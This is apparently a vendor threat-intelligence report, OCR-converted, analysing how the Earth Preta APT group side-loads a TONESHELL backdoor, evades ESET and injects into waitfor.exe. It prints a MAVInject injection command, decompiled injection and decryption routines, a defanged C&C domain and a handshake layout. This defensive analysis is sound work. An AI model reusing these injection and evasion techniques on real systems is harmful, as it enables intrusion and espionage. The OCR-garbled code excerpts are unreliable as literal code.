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Cyber Threats

Our Threat Hunting team discusses Earth Preta’s latest technique, in which the APT group leverages MAVInject

and Setup Factory to deploy payloads, and maintain control over compromised systems.

Note: We have made some revisions to this post to clarify the behavior of this threat.

Summary

e Researchers from Trend Micro’s Threat Hunting team discovered that Earth Preta, also known as Mustang
Panda, uses the Microsoft Application Virtualization Injector to inject payloads into waitfor.exe whenever
an ESET antivirus application is detected.

e They utilize Setup Factory to drop and execute the payloads for persistence and to avoid detection.

e The attack involves dropping multiple files, including legitimate executables and malicious components,
and deploying a decoy PDF to distract the victim.

o Earth Preta's malware, a variant of the TONESHELL backdoor, is sideloaded with a legitimate Electronic

Arts application and communicates with a command-and-control server for data exfiltration.

Trend Micro’s Threat Hunting team has come acrossopen on a new tab a new technique employed by Earth

Pretaopen on a new tab, also known as Mustang Panda. Earth Preta's attacks have been known to focus on the

Asia-Pacific region: More recently, one campaign used a variant of the DOPLUGS malwareopen on a new tab to
target Taiwan, Vietnam, Malaysia, among other countries. The group, which favors phishing in their campaigns

and tends to target government entities,open on a new tab has had over 200 victimsopen on a new tab since 2022.

This advanced persistent threat (APT) group has been observed leveraging a Windows utility that’s able to inject
code into external processes called the Microsoft Application Virtualization Injector (MAVInject.exe). This injects
Earth Preta’s payload into a Windows utility that’s used to sending or waiting for signals between networked
computers., waitfor.exe, when an ESET antivirus application is detected running. Additionally, Earth Preta utilizes
Setup Factory, an installer builder for Windows software, to drop and execute the payload; this enables them to

evade detection and maintain persistence in compromised systems.

Detailed analysis

In Earth Preta’s attack chain, the first malicious file, IRSetup.exe, is used to drop multiple files into the

ProgramData/session directory (Figure 1). These files include a combination of legitimate executables and
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malicious components (Figure 2).
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Figure 2. Files dropped by IRSetup.exe

A decoy PDF designed to target Thailand-based users is also executed, likely to distract the victim while the
malicious payload is deployed in the background (Figure 3). The fraudulent document asks for the reader’s
cooperation in creating a whitelist of phone numbers to aid in the development of an anti-crime platform,

allegedly a project supported by multiple government agencies.

This technique aligns with Earth Preta’s previous campaigns, in which they used spear-phishing emails to target
victims and executed a decoy PDF to divert attention while the malicious payload was deployed in the

background.
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Figure 3. Decoy PDF (left) and translated text (right)

The dropper malware then executes OriginLegacyCLI.exe, a legitimate Electronic Arts (EA) application, to
sideload EACore.dll, a modified variant of the TONESHELL backdoor used by Earth Preta, shown in Figure 4.

push offset aEacoreDll ; “EACore.dll”
push ] hModule

push @ ; char

lea eax, [ebp+LibFileName]

push geah ; int

push eax ; int

call sub_4B0BeR

add esp, lah

lea ecx, [ebp+LibFileName]

push ecx ; lpLibFileName

e

call ds:Loadlibraryw
maw [esi], eax
test eax, eax

jnz short loc 4863F3

Figure 4. Loading the malicious DLL

TONESHELL backdoor — EACore.dll

EACore.dll contains multiple export functions, as shown below in Figure 5, but all of them point to the same

malicious function.
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‘AgentAdd_0+28 call_sub_6B7F3488

p : _
= Up p AgentRemove_0+23 call sub_GBETF34B3
= p AgentTaskAdd 0+28 call  sub_BBTF34B3
@ Up p AgentTaskRemove_0+23 call sub_SB7F34B3
@ Up p AgentTaskStatusGet_0+28 call sub_gB7F34B8
@ Up p AgentTaskStatusSet_0+28 call sub_GB7F34B8
@ p p Command_0+23 call sub_GB7F34B3
@ Up p Connect_0+28 call sub_GBETF34B3
= up p Connect3_0+28 call  sub_BBTF34B3
@ Up p Disconnect_0+28 call sub_GBETF34B3
@ Up p IsConnected_0+28 call sub_SB7F34B3
@ Up p ItemClearCache_0+28 call sub_SB7F34B3
@ Up p ItemDecryptCancel_0+28  call sub_gB7F34B8
@ Up p ItemDecryptStart_0+28 call sub_GETF34B3
@ p p ItemDownloadCancel_0+423 call sub_sB7F34B8
@ Up p ItemDownloadstart_0+23  call sub_6E7F34B8
@ Up p ItemDownloadTogglePaus... call sub_GE7F34B8
@ Up p ItemEnumPatches_0+23 call sub_GBETF34B3
@ Up p ItemGetStatus_0+28 call sub_SB7F34B3
@ Up p ItemInstallStart_0+23 call sub_SB7F34B3
@ Up p ItemInstallStartBatch_0+28 call sub_gB7F34B8
@ Up p ItemUnpackCancel_0+28 call sub_GETF34B3
@ p p ItemUnpackStart_0+28 call sub_GB7F34B3
[E=| D ItemUse_0+28 call  sub_BBTF34E3
=D, p StateGet_0+28 call sub_GBETF34B3
=D, p StateSetProperty_0+28 call sub_GBETF34B3
=D, p StateSetTag_0+28 call sub_SB7F34B3
D, p UserEnumContent_0+258 call sub_SB7F34B3
=D, p UserGetEntitements_0+28 call sub_gB7F34B8
@ D.. p serGethames_0+28 call sub_GETF34B3
@ D.. p IserlsLoggedIin_0+23 call sub_GB7F34B3
=D, p serLogin_0+23 call sub_GBETF34B3
@ D.. p serLogout_0+23 call sub_GBETF34B3
@ D.. p ViewsetContentFilters_0+28 call sub_sE7F34B8

Figure 5. Export functions of EACore.dll

One of the functions checks if either ekrn.exe or egui.exe, both associated with ESET antivirus applications, are
running on the machine (Figure 6). If either process is detected, the malware registers EACore.dll using

regsvr32.exe to execute the DLLRegisterServer function (Figure 7).
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1 |char check ESET_running_sub_l@eascza()

2 {

3| unsigned int i; f/ [esp+DBh] [ebp-154h]

4| PROCESSENTRY32 pe; // [esp+DCh] [ebp-148h] BYREF
5| HANDLE hsnapshot; // [esp+2@Ch] [ebp-18h]

6| char *str2[3]; // [esp+218h] [ebp-Ch]

7

2| _ CheckForDebuggerJustMyCode(&unk 188D3813);
9| strz[@] = "ekrn.exe";

18 | s5tr2[1] = "egui.exe”;

11| hsnapshot = CreateToolhelp32Snapshot(2u, 8);
12 | if { hSnapshot == (HANDLE}-1 )

13 return @;

14 | pe.dwSize = 296;

15 | if { Process32First{hsnapshot, &pe) )

16| {

17 do

18 I

19 for (1 =9; 1 ¢ 2; ++1 )

28 {

21 if ( !'j__stromp(pe.szExeFile, Str2[i]} )

i
23 CloseHandle(hSnapshot);
24 return 1; // return 1 if either ekrn.exe or egui.exe is running
25 }
26 1

28 while ( Process32Mext(hSnapshot, Bpe) );
38 | CloseHandle(hSnapshot);

31 return 8;
32 |}

Figure 6. Checking of ESET process

_ CheckForDebuggerJustMyCode(byte_GE3DE8013);
i = 8;

if { j_check ESET_running_sub_ lee@ss2e() )
{

j m!rnszt( e, @, @x288u);
d ; - GetBasz.ﬁ.ﬂ'dress(},
Getd :du'.e-i-e.a're i( B " 3
if ( !CreateProcess_ s.ub ﬁB?F?i?afL c:
sub_GE3@3BEE(); |

}

ame, Bxledu);
\Viwindows\ \System32\\regsvr3i2.exe”, Filename, Bv2, @, @, @) )

Figure 7. Running via regsvr32.exe

The DLLRegisterServer export will then execute waitfor.exe. MAVInject.exe, which is capable of proxy execution
of malicious code by injecting to a running process, is then used to inject the malicious code into it (Figure 8) via

the following command:
Mavinject.exe <Target PID> /INJECTRUNNING <Malicious DLL>

It is possible that Earth Preta used MAVInject.exe after testing the execution of their attack on machines that used
ESET software.
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1 [int __cdecl sub_6DD5814@(HANDLE *al)
>

2 |t

3| HMODULE BaseAddress; // cax

4| WCHAR v3[524]; // [esp+318h] [ebp-63Ch] BYREF

5| WCHAR Filename[264]; // [espt [ebp-224h] BYRE

6| dint v5[3]; // [esp+938h] [ebp-14h] BYS

7| int v6; // [esp+944h] [ebp-8h]

8

9| _ _CheckFerDebuggerlustMyCode(byte 6DE28013);
18| vé = 8;
11| vs[e] = @;
12 | if ( sub_sDD57C5@(L"C:\\Windows\\SysWOWE4\\waitfor.exe”, L"Event19830087251541", v5, @, @) )
13
14 j__memset(Filename, @, @x288u);
15 j__memset(vi, @, @x4leu);

16 BaseAddress = GetBaseAddress();

17 GetModuleFileNamew(BaseAddress, lename, @x184u);
18 wsprintfi{v3, L" %d /INJECTRUNNING \"¥s\"", v5[@], Filename);
19 if ( sub_8DD57C5@(L"C:\\Windows\\SysWOws4\\Mavinject.exe”, v3, v5, 1, al) )
20 return 1;
21| }
22 return vea;
23 |y

x5 O

2244 /INJECTRUNNING \"C:\\Users\\win7x64\\Desktop'‘\Malware Lab\\EACore.d11\""

| Defauit (stdcal)
1: [esp] 6DDFBCF8 L"C:\\Windows''\SyswOwe4'\Mavinject.exe"
2: [esp+4] 00GABE30 L"™\"C:\\Windows''\SyswOw&e4'\Mavinject.exe\"
3: [esp+8)] 00000000
4: [esp+C] 00000000
5: [esp+10] 00000000

< | i

4 3% 32dbg.exe 872 189 156 B/s 8154 MB WIXG4\winTx64 wb4dbg
afm] regsvr32.exe 532 0.02 201 MB  WTX64\winTx04 Microsoft{C) Register Server
| =] waitfor.exe 2244 884 KB WTX64\winTx64 waitfor - wait/send a signal ov... |

Figure 8. Function used to inject malicious code to waitfor.exe

Exception handler

The malware also implements an exception handler (Figure 9) that activates when ESET applications are not
found, allowing it to proceed with its payload. Instead of injecting the malicious code via MAVInject.exe, it
directly injects its code into waitfor.exe using WriteProcessMemory and CreateRemoteThreadEx APIs (Figure
10).

GEZ09FAD 55 push ebp

G6EZ09FAL BBEC mov ebp,esp

GE309FAZ &6A FF push FFFFFFFF

GE3I09FASL 68 AQAZ3ICGE push eacore.&8E3CAZAD

GEZ09FAA &8 LS EBDD30GE push eacore.&E30DDSE

GE3Z09FAF 64:A1 00000000 mov eax,dword ptr i : [0]
6EZ09FBS SO push eax

GE209FB6 64: 8925 00000000 mov dword ptr Jl:[0],2sp
GE309FED B1C4 2CFCFFFF add esp,FFFFFC2C

GE309FC3

GEZ09FC 4 L& push esi

6E309FCS 57 push edi

GEZ09FCE BDBD 1CFCFFFF 1ea edi,dword ptr ss:[febp-2E4]
6E309FCC B3 F3000000 mov ecx,F3

G6E309FD1 B8 CCCCCCCC mov edx,CCCCCCCC

GE309FD 6 F3:ABE rep stosd

G6E309FDS 8965 ES mov dword ptr ssilffebp-138],esp
GEZ09FDE B9 13803D6E mov ecx,edcore.eE3DE013
GE309FED E8 7ABEFFFF call eacore.&E302ESF

Figure 9. Setting up the structured exception handler
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6A 0O push 0

SE45 18 mov eax,dword ptr ss:[Jebp+15]

50 push eax size

SE4D 14 mov ecx,dword ptr ss:|[lebp+14] [ebp+14]:&" "=A"

51 push ecx Buffer -» .data section
BE95 OBFDFFFF mov edx,dword ptr ss:|[lebp-2Fs]

52 push edx Base Address

BESS GLFDFFFF mov eax,dword ptr ssillebp-224]

S50 push eax handle

FF95 14FDFFFF call dword ptr ss:[ebp-2EC] WriteProcessMemory

7| waitfor.exe (4112) (0130000 - 0x135000)

a0ooooa0o gg 40 4d 00 00 55 &b ec 83 ec 24 bE
00000010 6b c& 12 céd 44 0d dc 00 ba 01 00 00
00000020 cé 44 05 dec 32 b5 01 00 00 00 &b dl
00000030 dc 41 b& 01 00 00 00 cl e0 02 cd 44
00000040 01 00 00 00 &b dl Oa c€ 44 15 dec 32
00000050 00 6k c8 00 c6é 44 0d dc 4d ba 01 00
00000060 Ok c& 44 05 dc 34 b3 01 00 00 00 &b
00000070 15 dc 41 b& 01 00 00 00 cl €0 00 ch
00000080 b9 01 00 00 00 &b 41 05 c6 44 15 dc
00000090 00 00 cl &0 03 c6 44 05 dc 49 b3 01
000000a0 41 0d c6 44 15 dc 41 b8 01 00 00 00
000000b0 05 do 39 b9 01 00 00 00 &b 41 11 cé
000000c0 b& 01 00 00 00 cl e0 04 c& 44 05 dc PP I
00000040 00 00 &b d1 0% c6 44 15 dc 44 b8 01 00 00 00 éb ..k...D..D..... k

000000e0 c& 07 c6 44 Od dc 55 ba 01 00 00 00 éb c2 Of cé ...D..U..... k...
000000£0 44 05 dc 55 b% 01 00 00 00 6b dl Oe cé 44 15 dc D..T0..... E...D..
00000100 53 8b 45 08 8% 45 f£c c7 45 £& 00 00 00 00 &d 4d 5.E..E..E...... M
00000110 dc 51 6a 00 &8 03 00 1f 00 &b 55 fc &b 82 e8 07 .Qj.h..... To.a..
00000120 00 00 ££ 40 25 45 £4 &b 4d £c 83 b5 60 O0c 02 00 ..... E..M..."...
00000130 00 74 55 &b 55 £8 &3 c2 01 &9 55 £8 &8 e8 03 00 .tU.TU..... U.h...
00000140 00 &b 45 f£c Eb 88 50 07 00 00 ££ d1 83 7d £8 3¢ ..E...P...... 1<

00000150 72 34 6a 00 6a 00 6a 03 8b 55 fc 52 e& 44 31 00 r4j.j.j..U.R.DIL.
00000160 00 83 c4 10 c7 45 £& 00 00 00 00 8
00000170 15 &8d 45 £0 50 6a 01 8b 4d £4 51 8
00000180 ec 07 00 00 ££ 40 eb 9 8b 44 £4 51
00000190 &2 &0 07 00 00 £f 40 33 cO &b e5 5d

000001a0 cc cc cc cc cc 55 &b ec 83 ec 08 c7
AnnAAT WA

AR~ AC £0 WO 11 A0 AA =S AR A0

[ Re-ead ni" Write ] ’ Go to... Hlﬁbytes per row v] ’ Save... ] [ Close ]

Figure 10. Code injection function (top) and injected code in waitfor.exe (bottom)

C&C communication

The malware decrypts the shellcode stored in the .data section (Figure 11), where it will contain the functions to

communicate with its C&C server, www[. militarytc[.]com:443 (Figure 12).
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unsigned int _ cdecl decrypt_sub BBYFED1@({int al, unsigned int a2}
d
unsigned int result; // eax

unsigned int k; // [esp+Deh] [ebp-38h]
unsigned int j; // [esp+DCh] [ebp-2Ch]
unsigned int i; // [esp+E8h] [ebp-28h]
char v6[28]; // [esp+Fah] [ebp-14h] BYREF

__CheckForDebuggerJustMyCode(byte GBBCE813);
gmemcpy (vE, "a BA'INW", T);
vE[7] = "wxl@';

v6[8] = 'Q';
va[2] = "\w';
vE[le] = ":';
vG[11] = 'E';
vBE[12] = "'y
vGE[13] = 'N';
vi[14] = "\x1A';
vGa[15] = 'b";
for ( 1 =@8; 1 < a2; ++1 )
*1i + al) ~= ve[1 ¥ exle];
for ( 1 =@; 7 < aZ; ++7 )
(3 4+ al) m= wvE[(] + 1) ¥ exle];
for ( k=85 3 +k )
1

result = k3
if ( k =32 )
break;
*k + al) ~= ve[(k + 7) ¥ &xle];
h
return result;

}

Figure 11. Function containing the decryption of shellcode
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-esult = CreateEvent_sub_6B8BCACS{result);
if ( result )
{

*(vd + 4) = *al;

“(va + 8) = al[1];

“(va + 12) = al[2];

*(va + 16) = al[3];

CreateFile sub GBBBEGAS(v4);
WsA_startup_sub_GBBBEEBS(vi);
'-'IB,',
while { 1 )
i

if ( w3 || v3 »= 1888 )

{

v3 = @;

get_addrinfo_sub_6B8BF@35(v4); £ owww.militarytc[. Jcom: 443

if ( socket_connect_sub GBBBEEFS(v4) ) // establish connection
1
if ( !switch_cases_sub_ 6BBBC2AS(v4) )} // switch cases
sub GBBBEFF5(va);
Vi 4= 783
(*({vi + 1872))(700080); f/ sleep

¥

else

1
sub_GBBBEFFS(wd);

| o+= T8
(*(va + 1B72))(70000);

¥
}
}

Figure 12. Function to communicate with C&C server

The malware communicates with the command-and-control (C&C) server through the ws2_32.send API call. It
generates a random identifier, gathers the computer name, and sends this information to the C&C server. The C&C
protocol is similar to that of its previous variant, as outlined in our past research. However, this variant involves
some minor changes. For example, the generated victim ID is now stored to current_directory\CompressShaders

for persistence. Also, the handshake packet is slightly different, as shown in Table 1.

Offset Size Name Description

0x0 0x3 magic 17 03 03

0x3 0x2 size The payload size

0x5 0x100 key The payload encryption key

0x105 0x10 victim_id The unique victim ID (generated by CoCreateGuid)
0x115 0x1 reserved

0x116 0x4 hostname_length The length of the hostname

0x11A  hostname_length hostname The hostname

Table 1. Contents of the sent data

Page 9 of 11


https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html

https://www.trendmicro.com/en_us/research/25 /b/earth-preta-mixes-legitimate-and-malicious-components-to-sidestep-detection.html

The command codes are also slightly different. In this variant, all of the debug strings are removed. It supports

command codes 4 through 19 and has the following capabilities:

e Reverse shell
e Delete file

e Move file
Magic Number Size Key
Address ASCII
00250850 |17 03 03J01[21]9C C8 44[DD 2C 18 54[A0 BC 68 64|....!.EDD,.T l4hd
00250860 TT DC 08 54|10 6C 58 94|E0 FC AS A4|pL tel...Ix.a2il =

00250870 | B0 BC FS8 B4|80 1C 48 C4|50 AC 98 D4|20 3C E8 E4|°.8 ..HAP-.D <Ba
00250880 |F0 CC 38 F4(CO 5C 88 04|90 EC D8 14|60 7C 2824 aIsoA... 8. | (§
00250890 |30 OC 78 34|00 9C C8 44|D0 2C 18 54|A0 BC &8 &64|0.x4..EDB,.T Xhd
002508A0|Z0 4C BS 74|40 DC OB 84|10 6C 58 94 |E0 FC AB A4|pL tal...lx.al =
002508B0|BO BC F8 B4|BD 1C 48 C4 |50 AC 98 D4 |20 3C EB E4 °,B',.HAPﬁ.ﬂ <83
002508C0|FO CC 38 F4(CO 5C 88 04|90 EC D8 14|60 7C 28 24 |dIB0OAN... 8.  |($
00250800 |30 OC 78 24|00 9C CB 44 |D0 2C 18 54| A0 BC 68 &4 D.K4.LEDD,.T &hd
002508E0 | Z0 _4C B8 74|40 DC 08 84|10 60 58 94 |EQC FC AE A4 pLLt@U.:.TK.Eﬂ H
002508F0|BO BC FS B4|80 1C 48 C4|50 AC 98 D4|20 3C E8 E4|°.8 ..HAP-.D <Ba
00250900 |FO CC 38 F4(CO 5C 88 04|90 EC D8 14|60 7C 28 24 |dIsdA\...38.° |($
0025091030 OC 78 34|00 9C C8 44|D0 2C 18 54|A0 BC &8 &64|0.x4..EDB,.T Xhd
00250920 |70 4C B2 74|40 DC OB 84|10 6C 58 94 |E0 FC AB A4|pL tal...lIx.al =
00250930 BO BC F8 B4|B0D 1C 48 C4 |50 AC 98 D4 |20 3C EB E4 °,B',.HAPﬁ.ﬂ <8B3
00250940 | FO CC 38 F4(CO 5C 88 04|90 EC D8 14|60 7C 28 24 |dIB0AN... 8. |($
OO02E09501 30 OC 78 24|00 74 BS GClAD &3 82 72| FA 28 A2 OClo.wd. 7 & ¢ rdE

Figure 13. Information sent to C&C server

Attribution to Earth Preta

For attribution, we believe this variant is more likely associated with Earth Preta. It was distributed using similar

TTPs (spear-phishing) and works like the earlier variant mentioned in our previous entry on Earth Pretaopen on a

new tab. It employs CoCreateGuid to generate a unique victim ID, which is stored in a standalone file — a

behavior not observed in earlier variants. Additionally, the same C&C server was linked to another sampleopen on

a new tab attributed to Earth Preta, and the shared CyberChefopen on a new tab formula still successfully decrypts

the packet being sent. Based on these factors, we attribute this variant to Earth Preta with medium confidence.

Trend Vision One

Trend Vision Oneopen on a new tab™one-platform is a cybersecurity platform that simplifies security and helps

enterprises detect and stop threats faster by consolidating multiple security capabilities, enabling greater command
of the enterprise’s attack surface, and providing complete visibility into its cyber risk posture. The cloud-based
platform leverages Al and threat intelligence from 250 million sensors and 16 threat research centers around the
globe to provide comprehensive risk insights, earlier threat detection, and automated risk and threat response

options in a single solution.

Trend Vision One Threat Intelligence

To stay ahead of evolving threats, Trend Vision One open on a new tabcustomers can access a range of

Intelligence Reports and Threat Insights within Vision One. Threat Insights helps customers stay ahead of cyber
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threats before they happen and allows them to prepare for emerging threats by offering comprehensive
information on threat actors, their malicious activities, and their techniques. By leveraging this intelligence,

customers can take proactive steps to protect their environments, mitigate risks, and effectively respond to threats.
Trend Vision One Intelligence Reports App [I0C Sweeping]

o Earth Preta Mixes Legitimate and Malicious Components to Sidestep Detection
Trend Vision One Threat Insights App

e Threat Actors: Earth Pretaopen on a new tab

e Emerging Threats: Earth Preta Mixes Legitimate and Malicious Components to Sidestep Detectionopen on

anew tab

Hunting Queries

Trend Vision One Search App

Trend Vision One customers can use the Search App to match or hunt the malicious indicators mentioned in this

blog post with data in their environment.
Project Injection to waitfor.exe with hardcoded parameter used by Earth Preta

processFilePath:*ProgramData\\session\\OriginLegacyCLI.exe AND
objectCmd:*Windows\\SysWOW64\\waitfor.exe\" \"Event19030000000\" AND tags: "XSAE.F8404"

More hunting queries are available for Vision One customers with Threat Insights Entitlement enabledopen on a

new tab.

Conclusion

The recent findings of Trend Micro’s Threat Hunting team highlight the sophisticated methods employed by Earth
Preta to compromise systems and evade security measures. By leveraging MAVInject.exe to inject malicious
payloads into waitfor.exe, and using Setup Factory to drop and execute these payloads, Earth Preta effectively
maintains its persistence on infected systems. Its attack chain demonstrates the group's advanced level of expertise
in developing and refining their evasion techniques, with its use of legitimate applications like Setup Factory and
OriginLegacyCLI.exe further complicating detection efforts. Organizations should be vigilant about enhancing
their monitoring capabilities, focusing on identifying unusual activities in legitimate processes and executable

files, to stay ahead of the evolving tactics of APT groups like Earth Preta.
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